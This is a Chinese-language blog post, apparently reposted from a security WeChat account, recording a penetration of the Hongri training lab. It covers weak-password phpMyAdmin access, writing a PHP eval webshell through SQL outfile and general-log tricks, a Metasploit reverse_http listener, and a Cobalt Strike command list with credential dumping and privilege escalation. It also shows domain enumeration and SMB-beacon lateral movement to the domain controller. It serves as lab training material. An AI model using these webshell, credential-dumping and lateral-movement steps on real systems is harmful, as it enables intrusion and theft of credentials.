记录某靶场内网渗透过程

admin 2024年4月2日11:12:09评论8 views字数 6788阅读22分37秒阅读模式

记录一下红日靶场内网渗透的过程

下载红日安全团队的靶场-->下载链接

第一步:下载并解压到一个文件夹内

记录某靶场内网渗透过程

第二步、使用VM虚拟机分别添加三个虚拟机,并调整一下网络适配器,使得Win7和其他两个同属于一个局域网,而且Win7可以访问外网。

Win7 记录某靶场内网渗透过程
Win2003和Win2008 记录某靶场内网渗透过程

第三步、启动三个虚拟机,密码都是hongrisec@2019,登录必须修改密码可以改为Qq123456,启动Win7的PHPstudy

记录某靶场内网渗透过程

查看三个虚拟机的ip地址

Win7:外网192.168.193.131   内网:192.168.52.143(可以ping通其他两个)

Win2008:192.168.52.138

Win2004:192.168.52.141

记录某靶场内网渗透过程

第四步、外网渗透

1、信息收集,目录扫描

记录某靶场内网渗透过程

找到备份文件和phpmyadmin登录界面,到这里可以选择备份的代码审计或者phpmyadmin的nday利用和密码爆破

记录某靶场内网渗透过程

我是利用弱口令,账号密码都是root,进入后台进行mysql的getshell

1、查询是否有写入条件:

show VARIABLES like '%secure_file_priv%'  == null 则没有条件,换成日志写入 (secure_file_priv值可在mysql中的my.ini中修改)

show global variables like "secure%" 也可以查询<br>

2、 select @@basedir;  查看物理路径3、当具备条件时,写入一句话文件:

select  '<?php eval($_POST["pwd"]); ?>'  into outfile  'C:/phpStudy/WWW/shell.php';

4、查看日志开启状态<br>  show variables like '%general%'; 查看日志状态<br>  SET GLOBAL general_log='on'  开启日志<br>  SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'  指定日志文件<br>  SELECT '<?php eval($_POST["cmd"]);?>'  木马写到日志里

进入后台 记录某靶场内网渗透过程
查看写入权限(NULL 无权限) 记录某靶场内网渗透过程
查看物理地址(C:/phpStudy/MySQL) 记录某靶场内网渗透过程
查看日志状态(OFF) 记录某靶场内网渗透过程
开启日志(ON) 记录某靶场内网渗透过程
指定日志文件(shell.php) 记录某靶场内网渗透过程
木马写到日志里(密码:cmd) 记录某靶场内网渗透过程
查看日志(这时候木马已经写到了shell.php里面能够解析) 记录某靶场内网渗透过程
上菜刀 记录某靶场内网渗透过程

第五步、内网渗透

上线的话一般使用MSF或者Cobalts Strike,我比较喜欢用CS

CS常用命令

argue                   匹配进程的欺骗参数

audit_uac              审查关于bypass uac 的方法

blockdlls               在子进程中阻止非Microsoft DLL

browserpivot       设置浏览器透视会话

cancel                 取消正在进行的下载

cd                       更改目录

checkin               呼叫总部并发布数据

clear                   清除信标队列

connect              通过TCP连接到信标对等方

covertvpn           部署隐蔽VPN客户端

cp                       复制文件

dcsync                从DC中提取密码哈希

desktop              查看目标的桌面并与之交互

dllinject             将反射DLL注入进程

dllload               使用LoadLibrary()将DLL加载到进程中

download          下载文件

downloads          列出正在进行的文件下载

drives                  列出目标上的驱动器

elevate                在提升的上下文中生成会话

execute                在目标上执行程序(无输出)

execute-assembly      在目标上的内存中执行本地.NET程序

exit                           终止信标会话

getprivs                     在当前令牌上启用系统权限

getsystem                尝试获取系统

getuid                      获取用户ID

hashdump               转储密码哈希

help                          帮助菜单

inject                       在特定进程中生成会话

jobkill                       杀死长时间运行的利用后任务

jobs                          列出长期运行的利用后任务

jump                           在远程主机上生成会话

kerberos_ccache_use      将kerberos票证从缓存应用到此会话

kerberos_ticket_purge      从此会话中清除kerberos票证

kerberos_ticket_use          将kerberos票证应用于此会话

keylogger                        将击键记录器注入进程

kill                                   终止进程

link                                 通过命名管道连接到信标对等点

logonpasswords               使用mimikatz转储凭据和哈希

ls                                    列出文件

make_token                    创建令牌以传递凭据

mimikatz                          运行mimikatz命令

mkdir                               制作目录

mode dns                        使用DNS A作为数据通道(仅DNS信标)

mode dns-txt                  使用DNS TXT作为数据通道(仅DNS信标

mode dns6                     使用DNS AAAA作为数据通道(仅DNS信标)

mv                                  移动文件

net                                  网络和主机枚举工具

note                                为该信标指定一个注释

portscan                         扫描网络中的开放服务

powerpick                      通过非托管PowerShell执行命令

powershell                      通过powershell.exe执行命令

powershell-import          导入powershell脚本

ppid                               为衍生的事后交货作业设置父PID

ps                                  显示进程列表

psinject                          在特定进程中执行PowerShell命令

pth                                使用Mimikatz传递散列

pwd                               打印当前目录

reg                                  查询注册表

remote-exec                    在远程主机上运行命令

rev2self                         还原为原始令牌

rm                                 删除文件或文件夹

rportfwd                      设置反向端口前进

run                              在目标上执行程序(返回输出)

runas                          以另一个用户的身份执行程序

runasadmin                在提升的上下文中执行程序

runu                           在另一个PID下执行程序

screenshot                   截图

setenv                        设置环境变量

shell                          通过cmd.exe执行命令

shinject                    将外壳代码注入进程

shspawn                  生成进程并将外壳代码注入其中

sleep                       设置信标睡眠时间

socks                        启动SOCKS4a服务器以中继流量

socks stop              停止SOCKS4a服务器

spawn                    生成会话

spawnas                 作为另一个用户生成会话

spawnto                 将可执行文件设置为将进程生成到

spawnu                   在另一进程下生成会话

ssh                          使用SSH在主机上生成SSH会话

ssh-key                    使用SSH在主机上生成SSH会话

steal_token              从进程中窃取访问令牌

timestomp               将时间戳从一个文件应用到另一个文件

unlink                     断开与父信标的连接

upload                     上传文件

CS提权:

uac-token-duplication

是一种绕过uac方式的攻击,吧地权限提高到高权限,利用一个UAC漏洞,允许非提升进程使用提升进程中窃取的令牌来启动,适用于win7

svc-exe

用于提升权限,用法类似getsystem命令

ms14-058|ms15-015|ms16-016|ms16-032|ms16-032|ms16-315

这几种方式都差不多,通过windows的本地提权漏洞来提权

juicypotato

在cobaltstrike中使用烂土豆来提权,相对可靠

compmgmt

了解不多,似乎是通过windows的compmgmt去提权

rottenpotato

从Windows服务帐户到系统的本地权限升级

uac-eventvwr

通过注册表,利用eventvwr.exe 会自动加载我们的exp,这时的eventvwr.exe为高权限,达到提权效果

uac-dll

利用UAC漏洞,把我们的exp生成的dll复制到特定位置来达到提权效果,可绕过UAC

uac-wscript

这是一个empire中的绕过UAC模块,通过利用wscript.exe 去执行payload,以管理员权限去运行payload,只限于win7上使用

上线CS 记录某靶场内网渗透过程
CS生成木马 记录某靶场内网渗透过程
上线客户端(没有免杀) 记录某靶场内网渗透过程记录某靶场内网渗透过程
成功上线 记录某靶场内网渗透过程
截个屏看一下 记录某靶场内网渗透过程
靶机信息收集(shell ipconfig) 记录某靶场内网渗透过程记录某靶场内网渗透过程
抓取明文密码 记录某靶场内网渗透过程
提权(svc-exe) 记录某靶场内网渗透过程
内网信息收集 net view # 查看局域网内其他主机名 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
查看是否存在域存在域(god.org) shell net config Workstation 记录某靶场内网渗透过程
查询当前域的个数只有一个 shell net view /domain 记录某靶场内网渗透过程
查看域控制器主机名OWA shell net group "domain controllers" /domain记录某靶场内网渗透过程
查看局域网内其他主机信息 net view记录某靶场内网渗透过程
确认一下该主机是否也是存在域中 shell net group "domain computers" /domain记录某靶场内网渗透过程
开启MSF监听端口 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 121.. set lport 6666 exploit 记录某靶场内网渗透过程
CS开启监听 记录某靶场内网渗透过程
新建会话到MSF 记录某靶场内网渗透过程
MSF获得shell会话 记录某靶场内网渗透过程
现在两条路 第一:使用MSF的攻击模块来进行横向渗透第二:使用CS来进行横向渗透,添加一些插件我的CS还没有攻击的插件模块,所以使用MSF来攻击域控
查看域控的开放端口 记录某靶场内网渗透过程
445端口可能存在ms17_010永恒之蓝漏洞 记录某靶场内网渗透过程
利用永恒之蓝进行代码执行失败! 记录某靶场内网渗透过程
还是用CS来吧可视化切换到目标列表 记录某靶场内网渗透过程
先查一下账户密码logonpasswords 记录某靶场内网渗透过程
创建监视器smb 记录某靶场内网渗透过程
横向移动 记录某靶场内网渗透过程
横向主机上线 记录某靶场内网渗透过程
同上,内网主机已经全部上线 记录某靶场内网渗透过程
找一下域控主机放的flag 记录某靶场内网渗透过程
拓扑透视图 记录某靶场内网渗透过程

 总结一下:

外网是一个Yxcms,这个cms存在弱口令文件上传等漏洞,通过弱口令进入PHPMyAdmin,因为没有路径写入权限,然后使用写入日志来写入一句话木马。菜刀连接日志解析的一句话木马,使用Cobalts Strike生成可执行文件上传到网站目录,菜刀进行执行命令语句,上线CS,之后开始内网渗透。

  内网渗透首先信息收集,查到了只有一个内域OWA,内域中还有两个主机,其中一个是域控主机。先给当前的跳板提一下权,使用的是svc-exe提权方式。

  接下来目的是横向渗透使用这个Win7作为跳板,拿下内网域内的域成员主机和域控主机,首先使用CS和MSF联动查到开放455端口,打了个永恒之蓝发现失败。拼一下运气,用CS的SMB Beacon横向渗透成功

简介:SMB Beacon使用命名管道通过父Beacon进行通信。此对等通信与Beacons在同一主机上工作。它也适用于整个网络。Windows在SMB协议中封装命名管道通信,对内网中无法链接公网的机器,SMB Beacon可以通过已控制的边界服务器对其进行控制。

  口头语言解释:外网中的A主机与B主机相通且已控制B,B主机可以与内网中的C主机(无法连接公网)相通,但是A主机与C主机不相通,此时就需要在B主机上利用SMB beacon使A和C相通,进而使A主机控制C主机。

  使用前提:B能访问到C的SMB端口,拥有SMB的管理员账号密码(一般在B上抓密码去碰撞)
    ①具有SMB Beacon的主机必须接受端口445上的连接。
    ②只能链接由同一Cobalt Strike实例管理的Beacon。

  具体步骤:

    ①获取C的管理员账号密码
    ②创建SMB Listener
    ③使用net use进行利用、验证及创建SMB Beacon

内容来源:https://www.cnblogs.com/mt0u/p/16260571.html

往期推荐

从蓝初小白到蓝中猴子(面试经验)

记一次有趣的逻辑漏洞挖洞经历

一款好用的资产收集管理Burp插件

waf识别工具----WAFW00F

大力出奇迹—从目录爆破到getshell

五年目睹之怪现状-关于安全行业我的偏激见解

原文始发于微信公众号(黑战士):记录某靶场内网渗透过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月2日11:12:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录某靶场内网渗透过程http://cn-sec.com/archives/2619458.html

发表评论

匿名网友 填写信息